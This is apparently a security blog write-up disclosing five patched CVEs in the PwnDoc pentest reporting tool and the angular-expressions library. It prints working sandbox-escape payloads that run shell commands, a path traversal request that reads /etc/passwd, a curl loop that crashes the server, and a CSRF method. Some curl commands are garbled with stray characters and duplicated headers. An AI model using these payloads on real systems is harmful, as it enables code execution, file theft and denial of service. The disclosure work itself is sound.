PwnDoc: Hacking a Reporting Tool

Finding 5 CVEs in the PwnDoc pentest reporting tool, angular-expressions and docx-templater. This includes multiple 1-click Remote Code Execution vulnerabilities by escaping the JavaScript sandbox in the templating engine.

Warpnet icon
PwnDoc: Hacking a Reporting Tool

PwnDocis a pentest reporting tool allowing authenticated users to write findings and generate reports inside a web application. Tools like PwnDoc make it easier for us as pentesters to write and collaborate on reports. But what if the tool to document vulnerabilities itself contains vulnerabilities?

This blog post will describe the four CVEs (CVE-2025-23044: Cross-Site Request Forgery,CVE-2024-55602: Arbitrary File Read,CVE-2024-55652: Server-Side Template Injection, andCVE-2024-55653: Denial of Service) that were discovered for PwnDoc itself and another (CVE-2024-54152) regarding a Remote Code Execution vulnerability in the angular-expressions library used by docx-templater, and in turn PwnDoc.

All the issues in this blog post were patched in the latest version before publishing this blog post.
Disclaimer: Warpnet is not responsible for any damage caused by using the provided details in this blog post. It should only be used for legal purposes.

Cross-Site Request Forgery to create an administrator (CVE-2025-23044)

https://github.com/pwndoc/pwndoc/security/advisories/GHSA-9v2v-jxvw-52rq

The most impactful vulnerabilities are the ones that require no authentication. This will be the starting point for an attacker, and so we will start here as well. Apart from the login and token endpoints, not much is accessible at this point. If there aren't any vulnerabilities we can trigger directly here, we can also try to focus on how we can attack another already logged-in user.

One easy-to-check vulnerability is Cross-Site Request Forgery, where you abuse the fact that the browser sometimes automatically sends cookies when requesting a page. What matters here is theSameSite=attribute of the cookie, which determines in what situations the cookie is allowed to be added to a cross-site request (eg. from an attacker's page). In the case of PwnDoc, it is set up like this:

app.use(bodyParser.urlencoded({
  limit: '10mb',
  extended: false
}));

app.use(cookieParser())
...

From this code, it is not entirely clear whatcookieParser()will do, so it is easiest to just check the response after logging in:

HTTP/1.1 200 OK
...
Set-Cookie: token=JWTeyJhbG...3-9E; Path=/; HttpOnly; Secure
Set-Cookie: refreshToken=eyJhbG...mek; Path=/api/users/refreshtoken; HttpOnly; Secure

TheSet-Cookieheader ismissingtheSameSite=attribute! This causes the following behavior:

  • OnFirefox: The cookie is always sent in cross-site navigation, regardless of request method (GET and POST)
  • OnChromiumThe cookie is always sent in cross-site GET navigations, POST requests are more complicated. For the first 2 minutes after the cookie was set, it will be sent in POST requests as well, but after that time it won't anymore.

GET requests are often used to fetch data, not change it. These are not very interesting as we cannot read the response due toCORSprotections. The request must be state-changing for it to have an impact, and we don't care about the response. POST requests are common for state-changing operations like adding a new user (POST /api/users). Therefore, browsers lock this method down more than the regular GET method.

If the victim is using Firefox, we can already make it work by creating aon our attacker's page targeting PwnDoc with some hidden fields and an auto-submitting script.


If the victim is using Chromium, we would need to exploit them within the first 2 minutes after logging in, which is highly unlikely. We can do better though, as theSameSite=rule states that the cookie will be sent if it was set in the last 2 minutes. Luckily for us, there is an endpoint thatrefreshes the cookie:GET /api/users/refreshtoken. When this URL is visited, it will use therefreshTokencookie to set a newtokencookie. This means we can start the 2-minute window any time we want by first navigating the victim tohttps://localhost:8443/api/users/refreshtoken. To perform it all in one go, we will create a separate popup window with this URL, and then a little later (after the cookies have been refreshed), submit the form.


One small detail is the fact thatwindow.openrequires"user activation", otherwise the popup blocker will deny the call. This edge case and some additional logging are handled in the following exploit script:

https://gist.github.com/JorianWoltjer/c018b7aa1a86f27420e6e76b011b6a47

Arbitrary File Read using Path Traversal on templates (CVE-2024-55602)

https://github.com/pwndoc/pwndoc/security/advisories/GHSA-2mqc-gg7h-76p6

When logged in to PwnDoc, much more functionality opens up. A simple start is to look for functions that are easy to mess up, like thefsmodule for File System access, which has risks of accessing files we're not supposed to if../path traversal sequences are not handled correctly. One file that contains a bunch of filesystem logic istemplate.js. There are 5 endpoints for a classic CRUD functionality:

  1. GET /api/templates: List all templates
  2. POST /api/templates: Create a new template
  3. GET /api/templates/download/:templateId: Read a template
  4. PUT /api/templates/:templateId: Update a template
  5. DELETE /api/templates/:templateIdDelete a template

We can read in the source code that when creating a new template, the file is stored inside areport-templates/folder on the file system:

app.post("/api/templates", acl.hasPermission('templates:create'), function(req, res) {
    if (!req.body.name || !req.body.file || !req.body.ext) {
        Response.BadParameters(res, 'Missing required parameters: name, ext, file');
        return;
    }
    if (!utils.validFilename(req.body.name) || !utils.validFilename(req.body.ext)) {
        Response.BadParameters(res, 'Bad name or ext format');
        return;
    }

    var template = {}
    template.name = req.body.name;
    template.ext = req.body.ext

    Template.create(template)
    .then(data => {
        var fileBuffer = Buffer.from(req.body.file, 'base64');
        fs.writeFileSync(`${__basedir}/../report-templates/${template.name}.${template.ext}`, fileBuffer);
        Response.Created(res, data);
    })
});

Ourreq.bodyparameters end up intemplate.nameandtemplate.ext, which are both used to create a path inside thefs.writeFileSync()function. It may look like we can use../in any of these parameters to write to an arbitrary location, but this is prevented by the following regular expression allowing only some common characters, not including.:

function validFilename(filename) {
    const regex = /^[^[filename{Letter}0-9()_-]+$/iu;
    return (regex.test(filename));
}

The handler blocks any inputs containing a disallowed character in either the name or the extension, so we cannot bypass this.

We have the same inputs into another function: updating a template. This handler is more complicated as it handles a few different types of updates:

app.put("/api/templates/:templateId", acl.hasPermission('templates:update'), function(req, res) {
    if (req.body.name && !utils.validFilename(req.body.name)) {
        Response.BadParameters(res, 'Bad name format');
        return;
    }

    var template = {}
    if (req.body.name) template.name = req.body.name;
    if (req.body.file && req.body.ext) template.ext = req.body.ext;

    Template.update(req.params.templateId, template)
    .then(data => {
        // Update file only
        if (!req.body.name && req.body.file && req.body.ext) {
            var fileBuffer = Buffer.from(req.body.file, 'base64');
            try {fs.unlinkSync(`${__basedir}/../report-templates/${data.name}.${data.ext || 'docx'}`)} catch {}
            fs.writeFileSync(`${__basedir}/../report-templates/${data.name}.${req.body.ext}`, fileBuffer);
        }
        // Update name only
        ...
        // Update both name and file
        ...
    })
});

Importantly, this function only checks thereq.body.nameparameter, but not thereq.body.extparameter! That means this variable may have any value, containing any amount of../sequences. This variable is put intofs.writeFileSync()if we don't specify a name, so it sounds like we should be able to redirect this to any other file and write ourfileBufferto it for an Arbitrary File Write vulnerability?

Trying it, however, shows that this idea doesn't work:

{
  "file": "SGVsbG8gZGVhciByZWFkZXIgOik="
  "ext":"/../../../../tmp/pwned"
}
{
  "status": "error",
  "datas": "Template File was not Found".
}

It tries to write to the following path:
/app/src/../report-templates/example./../../../../../tmp/pwned

In NodeJS, thefs.functions will simply ask the operating system to resolve the path, so what happens if we try totouchthis inside the Docker container?

$ docker exec -it pwndoc-backend sh
/app $ touch /app/src/../report-templates/example./../../../../../../tmp/pwned
touch: /app/src/../report-templates/example./../../../../../tmp/pwned: No such file or directory

The same "No such file or directory" error occurs. This happens because the operating system tries to follow every directory in our path. If one doesn't exist, it stops and throws an error. Theexample./directory in our path doesn't exist because it is a combination of the existing template file and the leftover.separating it from the extension payload. There are no existing directories in/app/report-templates/, and we cannot use.in the name (or make it empty), so we cannot make this a valid path.

Interestingly, even though this failed, the database still got updated:

$ docker exec -it mongo-pwndoc mongo
> use pwndoc
switched to db pwndoc
> db.templates.find()
{ "_id" : ObjectId("6754cd27f5ba22eedc79876a"), "name" : "example", "ext" : "/../../../../../../tmp/pwned", "createdAt" : ISODate("2024-12-07T22:33:11.595Z"), "updatedAt" : ISODate("2024-12-12T21:38:03.614Z"), "__v" : 0 }

This means that any other endpoints that trust the data from the database will also use this malicious extension. It just so happens that the template download endpoint does exactly this, and passes the filename to Express'sres.download():

app.get("/api/templates/download/:templateId", acl.hasPermission('templates:read'), function(req, res) {
    Template.getOne(req.params.templateId)
        .then(data => {
            console.log("Downloading", `${__basedir}/../report-templates/${data.name}.${data.ext || 'docx'}`);
            var file = `${__basedir}/../report-templates/${data.name}.${data.ext ||'docx'}`
            res.download(file, `${data.name}.${data.ext}`)
        })
});

This functionnormalizesthe path before passing it to the OS, resolving../sequences and creating the path/tmp/pwned. Of course, this doesn't exist, but we can change it to/etc/passwdnow that we have an Arbitrary File Read to get its contents:

PUT /api/templates/6754cd27f5ba22eedc79876a HTTP/1.1
Host: localhost:8443
Cookie: token=JWTeyJ[...]Xw2g
Content-Type: application/json
Content-Length: 76

{
 "file": "SGVsbG8gZGVhciByZWWFkZXIgOik="
 "ext":"/../../../../etc/passwd"
}
GET /api/templates/download/6754cd27f5ba22eedc79876a HTTP/1.1
Host: localhost:8443
Cookie: token=JWTeyJ[...]Xw2g
HTTP/1.1 200 OK
...

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh

The full exploit script can be found below:

https://gist.github.com/JorianWoltjer/8a42e25c6dfa7604020d2a226e193407

angular-expressions Sandbox Escape due to unchecked property access (CVE-2024-54152)

https://github.com/advisories/GHSA-5462-4vcx-jh7j

One powerful feature of PwnDoc is its document templates that allow you to define how an audit is turned into a full report. Under the hood, it uses thedocxtemplaterlibrary to allow templating syntax with{ ... }inside of Word documents. To evaluate these expressions, the library usesangular-expressions(docs). This expression syntax is from AngularJS version 1 and effectively wasn't sandboxed allowing an attacker with control over these templates to write and run arbitrary JavaScript code in such an expression.

Now that AngularJS version 1 is deprecated (in favor ofAngular version 2+), theangular-expressionslibrary extracted this functionality and added security checks to make them theoretically safe for malicious input (read their reasoning). You can imagine this would be a difficult task in a flexible language like JavaScript, and the ways the code is evaluated.

There are 2 modes:

  1. Default: Parse and serialize into aFunction()string to be evaluated
  2. CSP mode: Parse and interpret (usingASTInterpreter)

Most important for now is the first, default mode. The expression syntax is parsed into an Abstract Syntax Tree (AST), after being written into a JavaScript string to be evaluated. During this process, some code is added to check dangerous code and transparently replace values withundefined.While compiling property access, for example, is correctly uses.hasOwnProperty()to verify that the property is an "own property." A property is an own property if it has been directly set on the object, this differentiates it from inherited properties that come from ones"prototype". Normally, accessing an object using theobj[prop]syntax will also look for the property inside the prototype chain, where special default properties like.constructorlie.angular-expressionsprevents accessing these.

When trying to exploit this expression evaluator, you may quickly think of using a global function likeeval()to run arbitrary code. But global variables (called "identifiers") are accessed on a special "scope" object empty by default. This scope is often passed as the first and second argument while evaluating the expression:

const expressions = require("angular-expressions");

const scope = { x: 1 }
const result = expressions.compile("x = 2; y = 3; x + y")(scope, scope);
console.log({ result, scope });
// { result: 5, scope: { x: 2, y: 3 } }

As you can see, accessing and assigning variables gets them from the scope. This is implementedhere. In the code it is accessing an arbitrary property of an object, just like what was being checked before with ourobj[prop]syntax. But does it also check the names of global variables that will be properties of the scope object in this way?

The Vulnerability

We will try to access theconstructorproperty on the scope:

const result = expressions.compile("constructor")(scope, scope);
console.log({ result });
// { result: [Function: Object] }

Success! We accessed the.constructorproperty of the scope, which is theObject()constructor. This shouldn't normally be possible, and we can access any other prototype inherited properties of this scope object now as well. One common trick is to reach theFunction()constructor which takes a string as its first argument and creates a callable function from it. This useful gadget can be reached by accessing the.constructorproperty on any existing function, but here we hit a problem as we still cannot access arbitrary properties of the variables we create, only of the specific scope variable ({}).

We are only allowed to continue with something likeObjectby accessingits own properties. We can list them withObject.getOwnPropertyNames():

const scope = {};
const exploit = scope.constructor;
console.log(Object.getOwnPropertyNames(exploit))
// [
// 'length', 'name', 'prototype', 'assign', 'getOwnPropertyDescriptor',
// 'getOwnPropertyDescriptors', 'getOwnPropertyNames',
// 'getOwnPropertySymbols', 'hasOwn', 'is', 'preventExtensions',
// 'seal', 'create', 'defineProperties', 'defineProperty', 'freeze',
// 'getPrototypeOf', 'setPrototypeOf', 'isExtensible', 'isFrozen',
// 'isSealed', 'keys', 'entries', 'fromEntries', 'values', 'groupBy'
// ]

Quite a few things we can access here, but the one crucial to exploitation isgetPrototypeOf(). This function takes anything as an argument, and returns its prototype. Effectively, it serves as a free.__proto__property access on anything we want, even though it is not anown property. We can check and see what kind of own properties a prototype has. Let's take a look at the.toString()function that every object has, and which we can access with the global variable trick:

> Object.getOwnPropertyNames(scope.constructor.getPrototypeOf(scope.toString))
[
  'length', 'name',
  'arguments', 'caller',
  'constructor', 'apply',
  'bind', 'call',
  'toString'
]

Theconstructorproperty is now in the list of "own properties"! This yields theFunction()constructor which we can give any string as its argument and call:

scope.constructor.getPrototypeOf(scope.toString).constructor('return process')()

We now have a full exploit to execute arbitrary JavaScript code in angular-expressions.scope.is implied in the real payload, and we can make the payload do anything like executing a shell command withprocess.binding('spawn_sync'):

constructor.getPrototypeOf(toString).constructor('return eval(Buffer.from("cHJvY2Vzcy5iaW5kaW5nKCJzcGF3bl9zeW5jIikuc3Bhd24oe2ZpbGU6ICIvYmluL3NoIiwgYXJnczogWyJzaCIsICItYyIsICJpZCJdLCBzdGRpbzogW3t0eXBlOiJwaXBlIixyZWFkYWJsZToxLHdyaXRhYmxlOjB9LHt0eXBlOiJwaXBlIixyZWFkYWJsZTowLHdyaXRhYmxlOjF9LHt0eXBlOiJwaXBlIixyZWFkYWJsZTowLHdyaXRhYmxlOjF9XX0pLm91dHB1dC50b1N0cmluZygp", "base64").toString())')()

Note: The above Base64 encoded payload here decodes to a payload executing theidcommand and returning its output:

process.binding("spawn_sync").spawn({file: "/bin/sh", args: ["sh", "-c", "id"], stdio: [{type: "pipe",readable:1,writable:0},{type: "pipe",readable:0,writable:1},{type: "pipe",readable:0,writable:1}]}).output.toString()

Evaluating the above expression in angular-expressions results in the output of theidcommand:

uid=1000(user) gid=1000(user) groups=1000(user)

This issue is relevant to PwnDoc because any user who can create/update a template can write one with the above payload wrapped in{ ... }braces to evaluate it as an angular-expression. This then results in RCE on PwnDoc, asrootby default when using the providedDockerfile.

Bypassing the first patch

After reporting this vulnerability to the author of the library (who was incredibly nice to work with by the way), the patch included the following extra check insideASTInterpreterfor CSP mode:

if (base && base.hasOwnProperty(name)) {
    value = base ? base[name] : undefined;
}

baseis the scope variable, andnameis the name of the global variable. While the check ofbase.hasOwnProperty(name)should only allowown propertiesto be set, there is one other edge case that causes an issue because the.hasOwnProperty()method is accessed on thebaseobject, whose output is trusted. If we are able to define a global variable with the namehasOwnPropertythat is a function returning a truthy value, this security check will always return true and it is vulnerable as before!

The pre-condition here is that there must be some function passed via the scope into the expression sandbox. We can then overwrite thescope.hasOwnPropertymethod with it and run our exploit as before:

const expressions = require("angular-expressions");

const scope = {
    // Pre-condition: any function in scope that returns a truthy value
    "func": function() {
        return "anything truthy";
    }
};
options = {
    // Force to use ASTInterpreter
    csp: true,
}
const result = expressions.compile("hasOwnProperty = func; constructor.getPrototypeOf(toString).constructor('return process')()", options)(scope, scope);
console.log(result);

This issue has now also been fixed by using the globalObject.prototype.hasOwnPropertyfunction which cannot be overwritten:
https://github.com/peerigon/angular-expressions/blob/e422a8c9abd22c7c450131f89283515f68893daa/lib/parse.js#L2765

PwnDoc Sandbox Escape to RCE using custom filters (CVE-2024-55652)

https://github.com/pwndoc/pwndoc/security/advisories/GHSA-jw5r-6927-hwpc

This last vulnerability borrows ideas from the angular-expression finding explained above, as it also attacks the expression evaluator, but usingcustom filtersdefined by PwnDoc. These are used inside the template language asvariable | filterName: 'filter argument'(see docs). Because all we need to exploit it is an unchecked property access, we should review these small code snippets.

While doing so, one quickly stands out:

// Looks up an attribute from a sequence of objects, doted notation is supported: {findings | select: 'cvss.environmentalSeverity'}
expressions.filters.select = function(input, attr) {
    return input.map(function(item) { return _.get(item, attr) });
}

For every element in the input, it accesses a certain attribute. The_.get()function is used to do this, coming from thelodashlibrary. It is easy to check if this allows us to access the.constructorproperty of any object:

> var _ = require('lodash');
> _.get(1337, "constructor")
[Function:Number]

It sure does! TheNumber()constructor, just like any other constructor, is itself a function. That means we can simply repeat this once more to getits.constructorproperty and get the famedFunction()constructor which we use to evaluate arbitrary code.

We will create a simple array, access the.constructorproperty of all their elements twice, and then get the first index of the result. This lets us write any function and execute arbitrary JavaScript code:

{ ([1337] | select: 'constructor' | select: 'constructor')[0]('return eval(Buffer.from("cHJvY2Vzcy5iaW5kaW5nKCJzcGF3bl9zeW5jIikuc3Bhd24oe2ZpbGU6ICIvYmluL3NoIiwgYXJnczogWyJzaCIsICItYyIsICJpZCJdLCBzdGRpbzogW3t0eXBlOiJwaXBlIixyZWFkYWJsZToxLHdyaXRhYmxlOjB9LHt0eXBlOiJwaXBlIixyZWFkYWJsZTowLHdyaXRhYmxlOjF9LHt0eXBlOiJwaXBlIixyZWFkYWJsZTowLHdyaXRhYmxlOjF9XX0pLm91dHB1dC50b1N0cmluZygp", "base64").toString())')() }

When the above content is put into a Word document, saved as a template in PwnDoc, and rendered using an audit, the result will contain the output of theidcommand:

Another filter: translate

In an earlier issue, PwnDoc was vulnerable to a Local File Inclusion vulnerability by having a Path Traversal in thetranslatefilter, which allows the attacker torequire()an arbitrary file.

While looking atthe patched code, I noticed another unchecked property access:dictionary[message]. Combine this with the custom filter namedtranslatewhich calls this function, and we are once again able to access theconstructorproperty on this JSON object. As seen in angular-expressions, this is enough to continue with onlyown propertiesto get RCE:

{('constructor' | translate: 'fr').getPrototypeOf(('toString'| translate: 'fr')).constructor('return eval(Buffer.from("cHJvY2Vzcy5iaW5kaW5nKCJzcGF3bl9zeW5jIikuc3Bhd24oe2ZpbGU6ICIvYmluL3NoIiwgYXJnczogWyJzaCIsICItYyIsICJpZCJdLCBzdGRpbzogW3t0eXBlOiJwaXBlIixyZWFkYWJsZToxLHdyaXRhYmxlOjB9LHt0eXBlOiJwaXBlIixyZWFkYWJsZTowLHdyaXRhYmxlOjF9LHt0eXBlOiJwaXBlIixyZWFkYWJsZTowLHdyaXRhYmxlOjF9XX0pLm91dHB1dC50b1N0cmluZygp", "base64").toString())')()}

UnhandledPromiseRejection causes Denial of Service (CVE-2024-55653)

https://github.com/pwndoc/pwndoc/security/advisories/GHSA-ggqg-3f7v-c8rc

Issues regarding the availability of an application are often overlooked. However, if the application becomes unusable for its users, the business impact can be very high. This is why looking for vulnerabilities regarding availability can be an interesting area of research.

We stumbled upon a Denial of Service (DoS) issue when researching different requests between a low-privileged user and a high-privileged user. An authenticated user can crash the PwnDoc backend by raising aUnhandledPromiseRejection.

AnUnhandledPromiseRejectionoccurs when a promise is rejected without an accompanying.catch()or an error handler in an asynchronous function. The following asynchronous function is implemented in PwnDoc to handle API requests to update a finding of an audit:

// Update finding of audit
app.put("/api/audits/:auditId/findings/:findingId", acl.hasPermission('audits:update'), async function(req, res) {
    var settings = await Settings.getAll();
    var audit = await Audit.getAudit(acl.isAllowed(req.decodedToken.role, 'audits:read-all'), req.params.auditId, req.decodedToken.id);
    if (settings.reviews.enabled && audit.state !== "EDIT") {
        Response.Forbidden(res, "The audit is not in the EDIT state and therefore cannot be edited.");
        return;
    }
    
    var finding = {};
    // Optional parameters
    if (req.body.title) finding.title = req.body.title;
    ...

    if (settings.reviews.enabled && settings.reviews.private.removeApprovalsUponUpdate) {
        Audit.updateGeneral(acl.isAllowed(req.decodedToken.role, 'audits:update-all'), req.params.auditId, req.decodedToken.id, { approvals: [] });
    }

    Audit.updateFinding(acl.isAllowed(req.decodedToken.role, 'audits:update-all'), req.params.auditId, req.decodedToken.id, req.params.findingId, finding)
    .then(msg => {
        io.to(req.params.auditId).emit('updateAudit');            
        Response.Ok(res, msg)
    })
    .catch(err => Response.Internal(res, err))
});

As can be seen,.catch()is being used to handle errors when updating the finding:

Audit.updateFinding(acl.isAllowed(req.decodedToken.role, 'audits:update-all'), req.params.auditId, req.decodedToken.id, req.params.findingId, finding)
.then(msg => {
    io.to(req.params.auditId).emit('updateAudit');
    Response.Ok(res, msg)
})
.catch(err => Response.Internal(res, err))

At first sight, this seems to handle errors correctly. However, theawait Audit.getAudit()call earlier in the code could also fail, and their errors aren't caught in a handler. This could cause the request to fail without a proper response.

AuditSchema.statics.getAudit = (isAdmin, auditId, userId) => {
    return new Promise((resolve, reject) => {
        var query = Audit.findById(auditId)
        if (!isAdmin)
            query.or([{creator: userId}, {collaborators: userId}, {reviewers: userId}])
        query.populate('template')
        ...
        query.exec()
        .then((row) => {
            if(!row)
                throw({fn: 'NotFound', message: 'Audit not found or Insufficient Privileges'})
            resolve(row)
        })
        .catch((err) => {
            if (err.name === "CastError")
                reject({fn: 'BadParameters', message: 'Bad Audit Id'})
            else
                reject(err)
        })
    })
}

This function is making sure that the user who is requesting to update the finding is allowed to do so. By updating a finding that the user doesn't have access to or doesn't exist, the application raises anUnhandledPromiseRejection, shutting down the server.

After obtaining a valid JWT token by logging in as a low-privileged user, the following request can be made usingcurl:

curl -vk -X PUT 'https://localhost:8443/api/audits/1/findings/2' еkc
 -H 'Cookie: token=JWTeyJhbGci...ekc' ▼B -X
 -H 'Content-Type: application/json' ▼B -X
 -d '{}'

Both IDs of the audit (1) and finding (2) don't exist. The server responds with the following502status:

HTTP/1.1 502 Bad Gateway
Server: nginx
Content-Type: text/html
Content-Length: 497
Connection: keep-alive

<!DOCTYPE html>
<html>
<head>
<title>Error</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>An error occurred.</h1>
<p>Sorry, the page you are looking for is currently unavailable.<br/>
Please try again later.</p>
<p>If you are the system administrator of this resource then you should check
the error log for details.</p>
<p><em>Faithfully yours, nginx.</em></p>
</body>
</html>

The following output is being shown in the backlog of the PwnDoc application:

pwndoc-backend | node:internal/process/promises:392
pwndoc-backend | new UnhandledPromiseRejection(reason);
pwndoc-backend | ^
pwndoc-backend |
pwndoc-backend | UnhandledPromiseRejection: This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). The promise rejected with the reason "#".
pwndoc-backend | at throwUnhandledRejectionsMode (node:internal/process/promises:392:7)
pwndoc-backend | at processPromiseRejections (node:internal/process/promises:475:17)
pwndoc-backend | at process.processTicksAndRejections (node:internal/process/task_queues:106:32) {
pwndoc-backend | code: 'ERR_UNHANDLED_REJECTION'
pwndoc-backend | }
pwndoc-backend exited with code 0




The PwnDoc backend is recovered after a few seconds by restarting itself due torestart: alwaysin thedocker-compose.yml. However, if the request keeps being sent every few seconds in a bash loop, the backend becomes unusable until the loop stops.

while true; do
 curl -vk -X PUT 'https://localhost:8443/api/audits/1/findings/2' еkc
 -H 'Cookie: token=JWTeyJhbGci...ekc' \ 'Cookie: token=JWTeyJhbGci...ekc'
 -H 'Content-Type: application/json' ▼B -X
 -d '{}'
 sleep 1
done

With the backend being unresponsive, the whole application becomes unusable for all users of the application.

The following API endpoints were identified to be vulnerable to the same issue.

To fix the issue,a commitadding a global error handler in version0.5.3:

@@ -129.10 +129.16 @@ require('./routes/data')(app);

+// Global error handler
+app.use((err, req, res, next) => {
+ console.error(err.stack)
+ res.status(500).send('Something went wrong. Please contact your administrator.+')
+})
+
// Start server

https.listen(config.port, config.host)

Conclusion

This was a lesson in knowing your tools. Even pentesters can make mistakes, sometimes even more than experienced developers because we're used to seeing vulnerable code. When handling sensitive information like vulnerability report details, always check the security of such applications. Even getting an idea of their security posture can be enough, and if you're lucky, you'll find a few CVEs!